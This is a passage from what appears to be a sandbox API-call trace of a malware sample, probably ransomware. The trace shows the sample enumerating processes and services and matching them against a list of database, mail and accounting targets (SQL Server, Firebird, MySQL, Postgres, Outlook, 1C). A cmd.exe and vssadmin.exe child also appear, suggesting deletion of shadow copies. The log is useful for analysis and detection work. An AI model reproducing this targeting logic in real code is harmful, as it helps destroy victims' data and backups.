lpString2="WdiSystemHost") returned -1 [0053.989] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.989] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.989] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.989] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.989] lstrlenW (lpString="Winmgmt") returned 7 [0053.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.990] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.990] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.990] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.990] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0053.990] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0053.992] Process32FirstW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.993] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.993] lstrlenW (lpString="System") returned 6 [0053.993] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.993] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.993] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.993] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.993] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.993] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.993] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.993] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.993] lstrlenW (lpString="smss.exe") returned 8 [0053.993] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.994] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.994] lstrlenW (lpString="csrss.exe") returned 9 [0053.994] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.994] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.994] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.994] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.995] lstrlenW (lpString="wininit.exe") returned 11 [0053.995] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.995] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.995] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.996] lstrlenW (lpString="csrss.exe") returned 9 [0053.996] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.996] lstrlenW (lpString="winlogon.exe") returned 12 [0053.996] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.996] lstrlenW (lpString="services.exe") returned 12 [0053.996] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.997] lstrlenW (lpString="lsass.exe") returned 9 [0053.997] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.997] lstrlenW (lpString="lsm.exe") returned 7 [0053.997] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.997] lstrlenW (lpString="svchost.exe") returned 11 [0053.998] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.998] lstrlenW (lpString="svchost.exe") returned 11 [0053.998] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.998] lstrlenW (lpString="svchost.exe") returned 11 [0053.998] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.999] lstrlenW (lpString="svchost.exe") returned 11 [0053.999] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.999] lstrlenW (lpString="svchost.exe") returned 11 [0053.999] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.999] lstrlenW (lpString="audiodg.exe") returned 11 [0054.000] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.000] lstrlenW (lpString="svchost.exe") returned 11 [0054.000] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.000] lstrlenW (lpString="svchost.exe") returned 11 [0054.000] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.001] lstrlenW (lpString="dwm.exe") returned 7 [0054.001] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.001] lstrlenW (lpString="explorer.exe") returned 12 [0054.001] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.001] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.001] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.002] lstrlenW (lpString="taskhost.exe") returned 12 [0054.002] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.002] lstrlenW (lpString="svchost.exe") returned 11 [0054.002] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.002] lstrlenW (lpString="taskeng.exe") returned 11 [0054.003] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.003] lstrlenW (lpString="taskhost.exe") returned 12 [0054.003] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0054.003] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0054.003] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0054.004] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0054.004] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0054.004] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0054.004] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0054.004] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0054.004] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0054.005] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0054.005] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0054.005] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0054.005] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0054.005] lstrlenW (lpString="toyota.exe") returned 10 [0054.005] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0054.006] lstrlenW (lpString="radiation.exe") returned 13 [0054.006] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0054.006] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0054.006] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0054.007] lstrlenW (lpString="ur illustration.exe") returned 19 [0054.007] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0054.007] lstrlenW (lpString="facing.exe") returned 10 [0054.007] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0054.007] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0054.007] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0054.008] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0054.008] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0054.008] lstrlenW (lpString="headline.exe") returned 12 [0054.008] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0054.008] lstrlenW (lpString="army_unsigned.exe") returned 17 [0054.008] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0054.009] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0054.009] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0054.009] lstrlenW (lpString="distribution-gif.exe") returned 20 [0054.009] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0054.010] lstrlenW (lpString="tribunal.exe") returned 12 [0054.010] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0054.010] lstrlenW (lpString="aafeof.exe") returned 10 [0054.010] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0054.010] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0054.010] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0054.011] lstrlenW (lpString="encryption.exe") returned 14 [0054.011] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.011] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.011] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0054.011] lstrlenW (lpString="1с_.exe") returned 7 [0054.011] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.012] lstrlenW (lpString="cmd.exe") returned 7 [0054.012] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.012] lstrlenW (lpString="conhost.exe") returned 11 [0054.012] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.134] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.134] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.134] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.134] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.134] lstrlenW (lpString="svchost.exe") returned 11 [0054.135] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.135] CloseHandle (hObject=0x21c) returned 1 [0054.135] Sleep (dwMilliseconds=0x1f4) [0054.941] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58ff60 [0054.941] EnumServicesStatusExW (in: hSCManager=0x58ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0054.941] GetLastError () returned 0xea [0054.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0054.941] EnumServicesStatusExW (in: hSCManager=0x58ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0054.942] CloseServiceHandle (hSCObject=0x58ff60) returned 1 [0054.942] lstrlenW (lpString="Appinfo") returned 7 [0054.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.942] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.942] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.942] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.942] lstrlenW (lpString="AudioSrv") returned 8 [0054.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.943] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.943] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.943] lstrcmpiW (lpString1="sqlserveradhelper", 